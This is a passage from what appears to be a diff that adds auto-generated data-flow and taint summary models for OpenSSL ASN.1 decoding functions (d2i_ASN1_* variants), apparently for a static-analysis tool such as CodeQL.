"d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_T61STRING", "(ASN1_T61STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", 